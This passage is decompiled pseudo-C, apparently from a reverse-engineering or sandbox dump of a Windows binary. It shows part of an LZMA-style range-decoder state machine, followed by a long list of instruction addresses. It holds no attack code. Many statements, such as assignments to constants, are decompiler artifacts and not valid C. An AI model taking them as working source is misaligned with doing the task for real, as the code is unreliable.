          								__eax = _v8;
          								__ecx = _v60;
          								_v56 = 1;
          								_v136 = 7;
          								__esi = _v8 + 0x180 + _v60 * 2;
          								goto L135;
          							}
          							__eax = _v96 & 0x000000ff;
          							__esi = _v100;
          							__cl = 8;
          							__cl = 8 - _v64;
          							__esi = _v100 & _v28;
          							__eax = (_v96 & 0x000000ff) >> 8;
          							__ecx = _v64;
          							__esi = (_v100 & _v28) << 8;
          							__ecx = _v8;
          							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
          							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
          							__eflags = _v60 - 4;
          							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
          							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
          							if(_v60 >= 4) {
          								__eflags = _v60 - 0xa;
          								if(_v60 >= 0xa) {
          									_t103 =  &_v60;
          									 *_t103 = _v60 - 6;
          									__eflags =  *_t103;
          								} else {
          									_v60 = _v60 - 3;
          								}
          							} else {
          								_v60 = 0;
          							}
          							__eflags = _v56 - __edx;
          							if(_v56 == __edx) {
          								__ebx = 0;
          								__ebx = 1;
          								goto L63;
          							}
          							__eax = _v24;
          							__eax = _v24 - _v48;
          							__eflags = __eax - _v120;
          							if(__eax >= _v120) {
          								__eax = __eax + _v120;
          								__eflags = __eax;
          							}
          							__ecx = _v12;
          							__ebx = 0;
          							__ebx = 1;
          							__al =  *((intOrPtr*)(__eax + __ecx));
          							_v95 =  *((intOrPtr*)(__eax + __ecx));
          							goto L43;
          						case 7:
          							__eflags = _v68 - 1;
          							if(_v68 != 1) {
          								__eax = _v40;
          								_v132 = 0x16;
          								_v36 = _v40;
          								__eax = _v44;
          								_v40 = _v44;
          								__eax = _v48;
          								_v44 = _v48;
          								__eax = 0;
          								__eflags = _v60 - 7;
          								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          								__al = __al & 0x000000fd;
          								__eax = (__eflags >= 0) - 1 + 0xa;
          								_v60 = (__eflags >= 0) - 1 + 0xa;
          								__eax = _v8;
          								__eax = _v8 + 0x664;
          								__eflags = __eax;
          								_v92 = __eax;
          								goto L71;
          							}
          							__eax = _v8;
          							__ecx = _v60;
          							_v136 = 8;
          							__esi = _v8 + 0x198 + _v60 * 2;
          							goto L135;
          						case 8:
          							__eflags = _v68;
          							if(_v68 != 0) {
          								__eax = _v8;
          								__ecx = _v60;
          								_v136 = 0xa;
          								__esi = _v8 + 0x1b0 + _v60 * 2;
          							} else {
          								__eax = _v60;
          								__ecx = _v8;
          								__eax = _v60 + 0xf;
          								_v136 = 9;
          								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
          								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
          							}
          							goto L135;
          						case 9:
          							__eflags = _v68;
          							if(_v68 != 0) {
          								goto L92;
          							}
          							__eflags = _v100;
          							if(_v100 == 0) {
          								goto L174;
          							}
          							__eax = 0;
          							__eflags = _v60 - 7;
          							_t264 = _v60 - 7 >= 0;
          							__eflags = _t264;
          							0 | _t264 = _t264 + _t264 + 9;
          							_v60 = _t264 + _t264 + 9;
          							goto L78;
          						case 0xa:
          							__eflags = _v68;
          							if(_v68 != 0) {
          								__eax = _v8;
          								__ecx = _v60;
          								_v136 = 0xb;
          								__esi = _v8 + 0x1c8 + _v60 * 2;
          								goto L135;
          							}
          							__eax = _v44;
          							goto L91;
          						case 0xb:
          							__eflags = _v68;
          							if(_v68 != 0) {
          								__ecx = _v40;
          								__eax = _v36;
          								_v36 = _v40;
          							} else {
          								__eax = _v40;
          							}
          							__ecx = _v44;
          							_v40 = _v44;
          							L91:
          							__ecx = _v48;
          							_v48 = __eax;
          							_v44 = _v48;
          							L92:
          							__eax = _v8;
          							_v132 = 0x15;
          							__eax = _v8 + 0xa68;
          							_v92 = _v8 + 0xa68;
          							goto L71;
          						case 0xc:
          							L102:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								_v140 = 0xc;
          								goto L173;
          							}
          							__ecx = _v116;
          							__eax = _v16;
          							_v20 = _v20 << 8;
          							__ecx =  *_v116 & 0x000000ff;
          							_v112 = _v112 - 1;
          							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							_t340 =  &_v116;
          							 *_t340 = _v116 + 1;
          							__eflags =  *_t340;
          							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							__eax = _v48;
          							goto L104;
          						case 0xd:
          							L39:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								_v140 = 0xd;
          								goto L173;
          							}
          							__ecx = _v116;
          							__eax = _v16;
          							_v20 = _v20 << 8;
          							__ecx =  *_v116 & 0x000000ff;
          							_v112 = _v112 - 1;
          							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							_t127 =  &_v116;
          							 *_t127 = _v116 + 1;
          							__eflags =  *_t127;
          							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							L41:
          							__eax = _v68;
          							__eflags = _v76 - _v68;
          							if(_v76 != _v68) {
          								goto L50;
          							}
          							__eflags = __ebx - 0x100;
          							if(__ebx >= 0x100) {
          								goto L56;
          							}
          							L43:
          							__eax = _v95 & 0x000000ff;
          							_v95 = _v95 << 1;
          							__ecx = _v92;
          							__eax = (_v95 & 0x000000ff) >> 7;
          							_v76 = __eax;
          							__eax = __eax + 1;
          							__eax = __eax << 8;
          							__eax = __eax + __ebx;
          							__esi = _v92 + __eax * 2;
          							_v20 = _v20 >> 0xb;
          							__ax =  *__esi;
          							_v88 = __esi;
          							__edx = __ax & 0x0000ffff;
          							__ecx = (_v20 >> 0xb) * __edx;
          							__eflags = _v16 - __ecx;
          							if(_v16 >= __ecx) {
          								_v20 = _v20 - __ecx;
          								_v16 = _v16 - __ecx;
          								__cx = __ax;
          								_v68 = 1;
          								__cx = __ax >> 5;
          								__eflags = __eax;
          								__ebx = __ebx + __ebx + 1;
          								 *__esi = __ax;
          							} else {
          								_v68 = _v68 & 0x00000000;
          								_v20 = __ecx;
          								0x800 = 0x800 - __edx;
          								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
          								__ebx = __ebx + __ebx;
          								 *__esi = __cx;
          							}
          							__eflags = _v20 - 0x1000000;
          							_v72 = __ebx;
          							if(_v20 >= 0x1000000) {
          								goto L41;
          							} else {
          								goto L39;
          							}
          						case 0xe:
          							L48:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								_v140 = 0xe;
          								goto L173;
          							}
          							__ecx = _v116;
          							__eax = _v16;
          							_v20 = _v20 << 8;
          							__ecx =  *_v116 & 0x000000ff;
          							_v112 = _v112 - 1;
          							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							_t161 =  &_v116;
          							 *_t161 = _v116 + 1;
          							__eflags =  *_t161;
          							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							while(1) {
          								L50:
          								__eflags = __ebx - 0x100;
          								if(__ebx >= 0x100) {
          									break;
          								}
          								__eax = _v92;
          								__edx = __ebx + __ebx;
          								__ecx = _v20;
          								__esi = __edx + __eax;
          								__ecx = _v20 >> 0xb;
          								__ax =  *__esi;
          								_v88 = __esi;
          								__edi = __ax & 0x0000ffff;
          								__ecx = (_v20 >> 0xb) * __edi;
          								__eflags = _v16 - __ecx;
          								if(_v16 >= __ecx) {
          									_v20 = _v20 - __ecx;
          									_v16 = _v16 - __ecx;
          									__cx = __ax;
          									_t175 = __edx + 1; // 0x1
          									__ebx = _t175;
          									__cx = __ax >> 5;
          									__eflags = __eax;
          									 *__esi = __ax;
          								} else {
          									_v20 = __ecx;
          									0x800 = 0x800 - __edi;
          									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          									__ebx = __ebx + __ebx;
          									 *__esi = __cx;
          								}
          								__eflags = _v20 - 0x1000000;
          								_v72 = __ebx;
          								if(_v20 >= 0x1000000) {
          									continue;
          								} else {
          									goto L48;
          								}
          							}
          							L56:
          							_t178 =  &_v56;
          							 *_t178 = _v56 & 0x00000000;
          							__eflags =  *_t178;
          							goto L57;
          						case 0xf:
          							L60:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								_v140 = 0xf;
          								goto L173;
          							}
          							__ecx = _v116;
          							__eax = _v16;
          							_v20 = _v20 << 8;
          							__ecx =  *_v116 & 0x000000ff;
          							_v112 = _v112 - 1;
          							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							_t208 =  &_v116;
          							 *_t208 = _v116 + 1;
          							__eflags =  *_t208;
          							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							L62:
          							__eflags = __ebx - 0x100;
          							if(__ebx >= 0x100) {
          								L57:
          								__al = _v72;
          								_v96 = _v72;
          								goto L58;
          							}
          							L63:
          							__eax = _v92;
          							__edx = __ebx + __ebx;
          							__ecx = _v20;
          							__esi = __edx + __eax;
          							__ecx = _v20 >> 0xb;
          							__ax =  *__esi;
          							_v88 = __esi;
          							__edi = __ax & 0x0000ffff;
          							__ecx = (_v20 >> 0xb) * __edi;
          							__eflags = _v16 - __ecx;
          							if(_v16 >= __ecx) {
          								_v20 = _v20 - __ecx;
          								_v16 = _v16 - __ecx;
          								__cx = __ax;
          								_t222 = __edx + 1; // 0x1
          								__ebx = _t222;
          								__cx = __ax >> 5;
          								__eflags = __eax;
          								 *__esi = __ax;
          							} else {
          								_v20 = __ecx;
          								0x800 = 0x800 - __edi;
          								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          								__ebx = __ebx + __ebx;
          								 *__esi = __cx;
          							}
          							__eflags = _v20 - 0x1000000;
          							_v72 = __ebx;
          							if(_v20 >= 0x1000000) {
          								goto L62;
          							} else {
          								goto L60;
          							}
          						case 0x10:
          							L112:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								_v140 = 0x10;
          								goto L173;
          							}
          							__ecx = _v116;
          							__eax = _v16;
          							_v20 = _v20 << 8;
          							__ecx =  *_v116 & 0x000000ff;
          							_v112 = _v112 - 1;
          							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							_t371 =  &_v116;
          							 *_t371 = _v116 + 1;
          							__eflags =  *_t371;
          							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							goto L114;
          						case 0x11:
          							L71:
          							__esi = _v92;
          							_v136 = 0x12;
          							goto L135;
          						case 0x12:
          							__eflags = _v68;
          							if(_v68 != 0) {
          								__eax = _v92;
          								_v136 = 0x13;
          								__esi = _v92 + 2;
          								L135:
          								_v88 = _t626;
          								goto L136;
          							}
          							__eax = _v80;
          							_v52 = _v52 & 0x00000000;
          							__ecx = _v92;
          							__eax = _v80 << 4;
          							__eflags = __eax;
          							__eax = _v92 + __eax + 4;
          							goto L133;
          						case 0x13:
          							__eflags = _v68;
          							if(_v68 != 0) {
          								_t475 =  &_v92;
          								 *_t475 = _v92 + 0x204;
          								__eflags =  *_t475;
          								_v52 = 0x10;
          								_v68 = 8;
          								L147:
          								_v128 = 0x14;
          								goto L148;
          							}
          							__eax = _v80;
          							__ecx = _v92;
          							__eax = _v80 << 4;
          							_v52 = 8;
          							__eax = _v92 + (_v80 << 4) + 0x104;
          							L133:
          							_v92 = __eax;
          							_v68 = 3;
          							goto L147;
          						case 0x14:
          							_v52 = _v52 + __ebx;
          							__eax = _v132;
          							goto L143;
          						case 0x15:
          							__eax = 0;
          							__eflags = _v60 - 7;
          							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
          							__al = __al & 0x000000fd;
          							__eax = (__eflags >= 0) - 1 + 0xb;
          							_v60 = (__eflags >= 0) - 1 + 0xb;
          							goto L123;
          						case 0x16:
          							__eax = _v52;
          							__eflags = __eax - 4;
          							if(__eax >= 4) {
          								_push(3);
          								_pop(__eax);
          							}
          							__ecx = _v8;
          							_v68 = 6;
          							__eax = __eax << 7;
          							_v128 = 0x19;
          							_v92 = __eax;
          							goto L148;
          						case 0x17:
          							L148:
          							__eax = _v68;
          							_v84 = 1;
          							_v76 = _v68;
          							goto L152;
          						case 0x18:
          							L149:
          							__eflags = _v112;
          							if(_v112 == 0) {
          								_v140 = 0x18;
          								goto L173;
          							}
          							__ecx = _v116;
          							__eax = _v16;
          							_v20 = _v20 << 8;
          							__ecx =  *_v116 & 0x000000ff;
          							_v112 = _v112 - 1;
          							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							_t490 =  &_v116;
          							 *_t490 = _v116 + 1;
          							__eflags =  *_t490;
          							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
          							L151:
          							_t493 =  &_v76;
          							 *_t493 = _v76 - 1;
          							__eflags =  *_t493;
          							L152:
          							__eflags = _v76;
          							if(_v76 <= 0) {
          								__ecx = _v68;
          								__ebx = _v84;
          								0 = 1;
          								__eax = 1 << __cl;
          								__ebx = _v84 - (1 << __cl);
          								__eax = _v128;
          								_v72 = __ebx;
          								L143:
          								_v140 = _t561;
          								goto L3;
          							}
          							__eax = _v84;
          							_v20 = _v20 >> 0xb;
          							__edx = _v84 + _v84;
          							__eax = _v92;
          							__esi = __edx + __eax;
          							_v88 = __esi;
          							__ax =  *__esi;
          							__edi = __ax & 0x0000ffff;
          							__ecx = (_v20 >> 0xb) * __edi;
          							__eflags = _v16 - __ecx;
          							if(_v16 >= __ecx) {
          								_v20 = _v20 - __ecx;
          								_v16 = _v16 - __ecx;
          								__cx = __ax;
          								__cx = __ax >> 5;
          								__eax = __eax - __ecx;
          								__edx = __edx + 1;
          								__eflags = __edx;
          								 *__esi = __ax;
          								_v84 = __edx;
          							} else {
          								_v20 = __ecx;
          								0x800 = 0x800 - __edi;
          								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
          								_v84 = _v84 << 1;
          								 *__esi = __cx;
          							}
          							__eflags = _v20 - 0x1000000;
          							if(_v20 >= 0x1000000) {
          								goto L151;
          							} else {
          								goto L149;
          							}
          						case 0x19:
          							__eflags = __ebx - 4;
          							if(__ebx < 4) {
          								_v48 = __ebx;
          								L122:
          								_t399 =  &_v48;
          								 *_t399 = _v48 + 1;
          								__eflags =  *_t399;
          								L123:
          								__eax = _v48;
          								__eflags = __eax;
          								if(__eax == 0) {
          									_v52 = _v52 | 0xffffffff;
          									goto L173;
          								}
          								__eflags = __eax - _v100;
          								if(__eax > _v100) {
          									goto L174;
          								}
          								_v52 = _v52 + 2;
          								__eax = _v52;
          								_t406 =  &_v100;
          								 *_t406 = _v100 + _v52;
          								__eflags =  *_t406;
          								goto L126;
          							}
          							__ecx = __ebx;
          							__eax = __ebx;
          							__ecx = __ebx >> 1;
          							__eax = __ebx & 0x00000001;
          							__ecx = (__ebx >> 1) - 1;
          							__al = __al | 0x00000002;
          							__eax = (__ebx & 0x00000001) << __cl;
          							__eflags = __ebx - 0xe;
          							_v48 = __eax;
          							if(__ebx >= 0xe) {
          								__ebx = 0;
          								_v76 = __ecx;
          								L105:
          								__eflags = _v76;
          								if(_v76 <= 0) {
          									__eax = __eax + __ebx;
          									_v68 = 4;
          									_v48 = __eax;
          									__eax = _v8;
          									__eax = _v8 + 0x644;
          									__eflags = __eax;
          									L111:
          									__ebx = 0;
          									_v92 = __eax;
          									_v84 = 1;
          									_v72 = 0;
          									_v76 = 0;
          									L115:
          									__eax = _v68;
          									__eflags = _v76 - _v68;
          									if(_v76 >= _v68) {
          										_t397 =  &_v48;
          										 *_t397 = _v48 + __ebx;
          										__eflags =  *_t397;
          										goto L122;
          									}
          									__eax = _v84;
          									_v20 = _v20 >> 0xb;
          									__edi = _v84 + _v84;
          									__eax = _v92;
          									__esi = __edi + __eax;
          									_v88 = __esi;
          									__ax =  *__esi;
          									__ecx = __ax & 0x0000ffff;
          									__edx = (_v20 >> 0xb) * __ecx;
          									__eflags = _v16 - __edx;
          									if(_v16 >= __edx) {
          										__ecx = 0;
          										_v20 = _v20 - __edx;
          										__ecx = 1;
          										_v16 = _v16 - __edx;
          										__ebx = 1;
          										__ecx = _v76;
          										__ebx = 1 << __cl;
          										__ecx = 1 << __cl;
          										__ebx = _v72;
          										__ebx = _v72 | __ecx;
          										__cx = __ax;
          										__cx = __ax >> 5;
          										__eax = __eax - __ecx;
          										__edi = __edi + 1;
          										__eflags = __edi;
          										_v72 = __ebx;
          										 *__esi = __ax;
          										_v84 = __edi;
          									} else {
          										_v20 = __edx;
          										0x800 = 0x800 - __ecx;
          										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
          										_v84 = _v84 << 1;
          										 *__esi = __dx;
          									}
          									__eflags = _v20 - 0x1000000;
          									if(_v20 >= 0x1000000) {
          										L114:
          										_t374 =  &_v76;
          										 *_t374 = _v76 + 1;
          										__eflags =  *_t374;
          										goto L115;
          									} else {
          										goto L112;
          									}
          								}
          								__ecx = _v16;
          								__ebx = __ebx + __ebx;
          								_v20 = _v20 >> 1;
          								__eflags = _v16 - _v20;
          								_v72 = __ebx;
          								if(_v16 >= _v20) {
          									__ecx = _v20;
          									_v16 = _v16 - _v20;
          									__ebx = __ebx | 0x00000001;
          									__eflags = __ebx;
          									_v72 = __ebx;
          								}
          								__eflags = _v20 - 0x1000000;
          								if(_v20 >= 0x1000000) {
          									L104:
          									_t344 =  &_v76;
          									 *_t344 = _v76 - 1;
          									__eflags =  *_t344;
          									goto L105;
          								} else {
          									goto L102;
          								}
          							}
          							__edx = _v8;
          							__eax = __eax - __ebx;
          							_v68 = __ecx;
          							__eax = _v8 + 0x55e + __eax * 2;
          							goto L111;
          						case 0x1a:
          							L58:
          							__eflags = _v104;
          							if(_v104 == 0) {
          								_v140 = 0x1a;
          								goto L173;
          							}
          							__ecx = _v108;
          							__al = _v96;
          							__edx = _v12;
          							_v100 = _v100 + 1;
          							_v108 = _v108 + 1;
          							_v104 = _v104 - 1;
          							 *_v108 = __al;
          							__ecx = _v24;
          							 *(_v12 + __ecx) = __al;
          							__eax = __ecx + 1;
          							__edx = 0;
          							_t197 = __eax % _v120;
          							__eax = __eax / _v120;
          							__edx = _t197;
          							goto L82;
          						case 0x1b:
          							L78:
          							__eflags = _v104;
          							if(_v104 == 0) {
          								_v140 = 0x1b;
          								goto L173;
          							}
          							__eax = _v24;
          							__eax = _v24 - _v48;
          							__eflags = __eax - _v120;
          							if(__eax >= _v120) {
          								__eax = __eax + _v120;
          								__eflags = __eax;
          							}
          							__edx = _v12;
          							__cl =  *(__edx + __eax);
          							__eax = _v24;
          							_v96 = __cl;
          							 *(__edx + __eax) = __cl;
          							__eax = __eax + 1;
          							__edx = 0;
          							_t280 = __eax % _v120;
          							__eax = __eax / _v120;
          							__edx = _t280;
          							__eax = _v108;
          							_v100 = _v100 + 1;
          							_v108 = _v108 + 1;
          							_t289 =  &_v104;
          							 *_t289 = _v104 - 1;
          							__eflags =  *_t289;
          							 *_v108 = __cl;
          							L82:
          							_v24 = __edx;
          							goto L83;
          						case 0x1c:
          							while(1) {
          								L126:
          								__eflags = _v104;
          								if(_v104 == 0) {
          									break;
          								}
          								__eax = _v24;
          								__eax = _v24 - _v48;
          								__eflags = __eax - _v120;
          								if(__eax >= _v120) {
          									__eax = __eax + _v120;
          									__eflags = __eax;
          								}
          								__edx = _v12;
          								__cl =  *(__edx + __eax);
          								__eax = _v24;
          								_v96 = __cl;
          								 *(__edx + __eax) = __cl;
          								__eax = __eax + 1;
          								__edx = 0;
          								_t420 = __eax % _v120;
          								__eax = __eax / _v120;
          								__edx = _t420;
          								__eax = _v108;
          								_v108 = _v108 + 1;
          								_v104 = _v104 - 1;
          								_v52 = _v52 - 1;
          								__eflags = _v52;
          								 *_v108 = __cl;
          								_v24 = _t420;
          								if(_v52 > 0) {
          									continue;
          								} else {
          									L83:
          									_v140 = 2;
          									goto L3;
          								}
          							}
          							_v140 = 0x1c;
          							L173:
          							_push(0x22);
          							_pop(_t574);
          							memcpy(_v148,  &_v140, _t574 << 2);
          							return 0;
          					}
          				}
          				L174:
          				_t538 = _t537 | 0xffffffff;
          				return _t538;
          			}










































          0x00406bc0
          0x00406bc7
          0x00406bcd
          0x00406bd3
          0x00000000
          0x00406bd7
          0x00406be3
          0x00406be3
          0x00406be3
          0x00406bec
          0x00000000
          0x00000000
          0x00406bf2
          0x00000000
          0x00406bf9
          0x00406bfd
          0x00000000
          0x00000000
          0x00406c06
          0x00406c09
          0x00406c0c
          0x00406c0e
          0x00406c10
          0x00000000
          0x00000000
          0x00406c16
          0x00406c19
          0x00406c1b
          0x00406c1c
          0x00406c1f
          0x00406c21
          0x00406c22
          0x00406c24
          0x00406c27
          0x00406c2c
          0x00406c31
          0x00406c3a
          0x00406c4d
          0x00406c50
          0x00406c59
          0x00406c5c
          0x00406c84
          0x00406c84
          0x00406c86
          0x00406c94
          0x00406c94
          0x00406c98
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406c88
          0x00406c88
          0x00406c8b
          0x00406c8b
          0x00406c8c
          0x00406c8c
          0x00000000
          0x00406c88
          0x00406c5e
          0x00406c62
          0x00406c67
          0x00406c67
          0x00406c70
          0x00406c76
          0x00406c78
          0x00406c7b
          0x00000000
          0x00406c81
          0x00406c81
          0x00000000
          0x00406c81
          0x00000000
          0x00406c9e
          0x00406c9e
          0x00406ca2
          0x0040754e
          0x00000000
          0x0040754e
          0x00406cab
          0x00406cbb
          0x00406cbe
          0x00406cc1
          0x00406cc1
          0x00406cc1
          0x00406cc4
          0x00406cc4
          0x00406cc8
          0x00000000
          0x00000000
          0x00406cca
          0x00406ccd
          0x00406cd0
          0x00406cfa
          0x00406d00
          0x00406d07
          0x00000000
          0x00406d07
          0x00406cd2
          0x00406cd6
          0x00406cd9
          0x00406cde
          0x00406cde
          0x00406ce9
          0x00406cef
          0x00406cf1
          0x00406cf4
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00406d39
          0x00406d3f
          0x00406d42
          0x00406d4f
          0x00406d57
          0x00000000
          0x00000000
          0x00406d0e
          0x00406d0e
          0x00406d12
          0x0040755d
          0x00000000
          0x0040755d
          0x00406d1e
          0x00406d29
          0x00406d29
          0x00406d29
          0x00406d2c
          0x00406d2f
          0x00406d32
          0x00406d35
          0x00406d37
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x004073ce
          0x004073ce
          0x004073d4
          0x004073da
          0x004073dd
          0x004073e0
          0x004073fa
          0x004073fd
          0x00407403
          0x0040740e
          0x0040740e
          0x00407410
          0x004073e2
          0x004073e2
          0x004073f1
          0x004073f5
          0x004073f5
          0x00407413
          0x0040741a
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x00000000
          0x0040741c
          0x0040741c
          0x00407420
          0x004075cf
          0x00000000
          0x004075cf
          0x0040742c
          0x00407433
          0x0040743b
          0x0040743b
          0x0040743b
          0x0040743e
          0x00407441
          0x00407441
          0x00000000
          0x00000000
          0x00406d5f
          0x00406d61
          0x00406d64
          0x00406dd5
          0x00406dd8
          0x00406ddb
          0x00406de2
          0x00406dec
          0x00000000
          0x00406dec
          0x00406d66
          0x00406d6a
          0x00406d6d
          0x00406d6f
          0x00406d72
          0x00406d75
          0x00406d77
          0x00406d7a
          0x00406d7c
          0x00406d81
          0x00406d84
          0x00406d87
          0x00406d8b
          0x00406d92
          0x00406d95
          0x00406d9c
          0x00406da0
          0x00406da8
          0x00406da8
          0x00406da8
          0x00406da2
          0x00406da2
          0x00406da2
          0x00406d97
          0x00406d97
          0x00406d97
          0x00406dac
          0x00406daf
          0x00406dcd
          0x00406dcf
          0x00000000
          0x00406dcf
          0x00406db1
          0x00406db4
          0x00406db7
          0x00406dba
          0x00406dbc
          0x00406dbc
          0x00406dbc
          0x00406dbf
          0x00406dc2
          0x00406dc4
          0x00406dc5
          0x00406dc8
          0x00000000
          0x00000000
          0x00406ffe
          0x00407002
          0x00407020
          0x00407023
          0x0040702a
          0x0040702d
          0x00407030
          0x00407033
          0x00407036
          0x00407039
          0x0040703b
          0x00407042
          0x00407043
          0x00407045
          0x00407048
          0x0040704b
          0x0040704e
          0x0040704e
          0x00407053
          0x00000000
          0x00407053
          0x00407004
          0x00407007
          0x0040700a
          0x00407014
          0x00000000
          0x00000000
          0x00407068
          0x0040706c
          0x0040708f
          0x00407092
          0x00407095
          0x0040709f
          0x0040706e
          0x0040706e
          0x00407071
          0x00407074
          0x00407077
          0x00407084
          0x00407087
          0x00407087
          0x00000000
          0x00000000
          0x004070ab
          0x004070af
          0x00000000
          0x00000000
          0x004070b5
          0x004070b9
          0x00000000
          0x00000000
          0x004070bf
          0x004070c1
          0x004070c5
          0x004070c5
          0x004070c8
          0x004070cc
          0x00000000
          0x00000000
          0x0040711c
          0x00407120
          0x00407127
          0x0040712a
          0x0040712d
          0x00407137
          0x00000000
          0x00407137
          0x00407122
          0x00000000
          0x00000000
          0x00407143
          0x00407147
          0x0040714e
          0x00407151
          0x00407154
          0x00407149
          0x00407149
          0x00407149
          0x00407157
          0x0040715a
          0x0040715d
          0x0040715d
          0x00407160
          0x00407163
          0x00407166
          0x00407166
          0x00407169
          0x00407170
          0x00407175
          0x00000000
          0x00000000
          0x00407203
          0x00407203
          0x00407207
          0x004075a5
          0x00000000
          0x004075a5
          0x0040720d
          0x00407210
          0x00407213
          0x00407217
          0x0040721a
          0x00407220
          0x00407222
          0x00407222
          0x00407222
          0x00407225
          0x00407228
          0x00000000
          0x00000000
          0x00406df8
          0x00406df8
          0x00406dfc
          0x00407569
          0x00000000
          0x00407569
          0x00406e02
          0x00406e05
          0x00406e08
          0x00406e0c
          0x00406e0f
          0x00406e15
          0x00406e17
          0x00406e17
          0x00406e17
          0x00406e1a
          0x00406e1d
          0x00406e1d
          0x00406e20
          0x00406e23
          0x00000000
          0x00000000
          0x00406e29
          0x00406e2f
          0x00000000
          0x00000000
          0x00406e35
          0x00406e35
          0x00406e39
          0x00406e3c
          0x00406e3f
          0x00406e42
          0x00406e45
          0x00406e46
          0x00406e49
          0x00406e4b
          0x00406e51
          0x00406e54
          0x00406e57
          0x00406e5a
          0x00406e5d
          0x00406e60
          0x00406e63
          0x00406e7f
          0x00406e82
          0x00406e85
          0x00406e88
          0x00406e8f
          0x00406e93
          0x00406e95
          0x00406e99
          0x00406e65
          0x00406e65
          0x00406e69
          0x00406e71
          0x00406e76
          0x00406e78
          0x00406e7a
          0x00406e7a
          0x00406e9c
          0x00406ea3
          0x00406ea6
          0x00000000
          0x00406eac
          0x00000000
          0x00406eac
          0x00000000
          0x00406eb1
          0x00406eb1
          0x00406eb5
          0x00407575
          0x00000000
          0x00407575
          0x00406ebb
          0x00406ebe
          0x00406ec1
          0x00406ec5
          0x00406ec8
          0x00406ece
          0x00406ed0
          0x00406ed0
          0x00406ed0
          0x00406ed3
          0x00406ed6
          0x00406ed6
          0x00406ed6
          0x00406edc
          0x00000000
          0x00000000
          0x00406ede
          0x00406ee1
          0x00406ee4
          0x00406ee7
          0x00406eea
          0x00406eed
          0x00406ef0
          0x00406ef3
          0x00406ef6
          0x00406ef9
          0x00406efc
          0x00406f14
          0x00406f17
          0x00406f1a
          0x00406f1d
          0x00406f1d
          0x00406f20
          0x00406f24
          0x00406f26
          0x00406efe
          0x00406efe
          0x00406f06
          0x00406f0b
          0x00406f0d
          0x00406f0f
          0x00406f0f
          0x00406f29
          0x00406f30
          0x00406f33
          0x00000000
          0x00406f35
          0x00000000
          0x00406f35
          0x00406f33
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00406f3a
          0x00000000
          0x00000000
          0x00406f75
          0x00406f75
          0x00406f79
          0x00407581
          0x00000000
          0x00407581
          0x00406f7f
          0x00406f82
          0x00406f85
          0x00406f89
          0x00406f8c
          0x00406f92
          0x00406f94
          0x00406f94
          0x00406f94
          0x00406f97
          0x00406f9a
          0x00406f9a
          0x00406fa0
          0x00406f3e
          0x00406f3e
          0x00406f41
          0x00000000
          0x00406f41
          0x00406fa2
          0x00406fa2
          0x00406fa5
          0x00406fa8
          0x00406fab
          0x00406fae
          0x00406fb1
          0x00406fb4
          0x00406fb7
          0x00406fba
          0x00406fbd
          0x00406fc0
          0x00406fd8
          0x00406fdb
          0x00406fde
          0x00406fe1
          0x00406fe1
          0x00406fe4
          0x00406fe8
          0x00406fea
          0x00406fc2
          0x00406fc2
          0x00406fca
          0x00406fcf
          0x00406fd1
          0x00406fd3
          0x00406fd3
          0x00406fed
          0x00406ff4
          0x00406ff7
          0x00000000
          0x00406ff9
          0x00000000
          0x00406ff9
          0x00000000
          0x00407286
          0x00407286
          0x0040728a
          0x004075b1
          0x00000000
          0x004075b1
          0x00407290
          0x00407293
          0x00407296
          0x0040729a
          0x0040729d
          0x004072a3
          0x004072a5
          0x004072a5
          0x004072a5
          0x004072a8
          0x00000000
          0x00000000
          0x00407056
          0x00407056
          0x00407059
          0x00000000
          0x00000000
          0x00407395
          0x00407399
          0x004073bb
          0x004073be
          0x004073c8
          0x004073cb
          0x004073cb
          0x00000000
          0x004073cb
          0x0040739b
          0x0040739e
          0x004073a2
          0x004073a5
          0x004073a5
          0x004073a8
          0x00000000
          0x00000000
          0x00407452
          0x00407456
          0x00407474
          0x00407474
          0x00407474
          0x0040747b
          0x00407482
          0x00407489
